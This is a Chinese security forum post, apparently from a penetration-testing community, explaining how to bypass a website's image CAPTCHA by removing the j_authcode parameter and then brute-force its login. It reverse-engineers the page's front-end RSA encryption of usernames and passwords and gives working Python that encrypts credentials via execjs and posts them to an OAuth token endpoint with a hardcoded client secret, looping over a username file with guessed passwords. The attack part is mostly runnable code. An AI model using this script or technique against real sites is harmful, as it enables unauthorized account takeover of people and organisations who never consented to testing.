某网站登录的时候如下:[](https//shs3.b.qianxin.com/attack_forum/2021/06/a…
然后我去掉j_authcode
以及一些无用参数,可以绕过图形验证码
然后这样就可以进行爆破了。但是我们可以看到username
和password
均经过加密,这究竟是什么加密呢?我们来看看前端代码。
可以看到这里是RSA加密。然后通过断点查看exponent
和modulus
的值。
值是固定的,搜索后发现就存储在config.js
中,也就是说RSA公钥为modulus
。
但这是一个256位公钥的RSA加密,在其他环境中几乎找不到这种加密项目,而js中有RSA.js/Barrett.js/BigInt.js
这么一个早期项目。这种时候就需要用python去调js代码来进行加密。
先写出js加密的代码来看看效果:
<script src="./rsa/RSA.js" type="text/javascript"></script>
<script src="./rsa/BigInt.js" type="text/javascript"></script>
<script src="./rsa/Barrett.js" type="text/javascript"></script>
<script src="./rsa/config.js" type="text/javascript"></script>
<script>
functiona(paramStr){
setMaxDigits(130);
key = new RSAKeyPair(exponent, "", modulus);
return encryptedString(key,encodeURIComponent(paramStr));
}
qqq= a("admin");
alert(qqq);
</script>
这里可以看到和Burp Suite里是一模一样,然后把4个js带html里的js代码合并在同一个文件里,用python的execjs
库去调。
import execjs
defrsa(str):
file = 'RSA.js'
ctx = execjs.compile(open(file).read())
js = 'a("'+str+'")'
params = ctx.eval(js)
return params
print(rsa("admin"))
import requests
import execjs
requests.packages.urllib3.disable_warnings()
defurlpost(username,password):
rusername = rsa(username)
rpassword = rsa(password)
url = "https://x.com/oauth/token"
header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"
}
cookie = {}
data = {"username":rusername,
"password":rpassword,
"grant_type":"password",
"scope":"service",
"client_id":"spm",
"client_secret":"sinoprof"
}
r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)
print(r.status_code)
if r.status_code == 200:
print(username+password+"success")
exit()
else:
print(username+password+"error")
defrsa(str):
file = 'RSA.js'
ctx = execjs.compile(open(file).read())
js = 'a("'+str+'")'
params = ctx.eval(js)
return params
folist= open('user.txt','r')
for i in folist.readlines():
i = i.replace('\n','')
urlpost(i,i+"!@#456")
urlpost(i,i+"!@#123")
urlpost(i,"123456")
- 本文作者: Johnson666
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/194
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!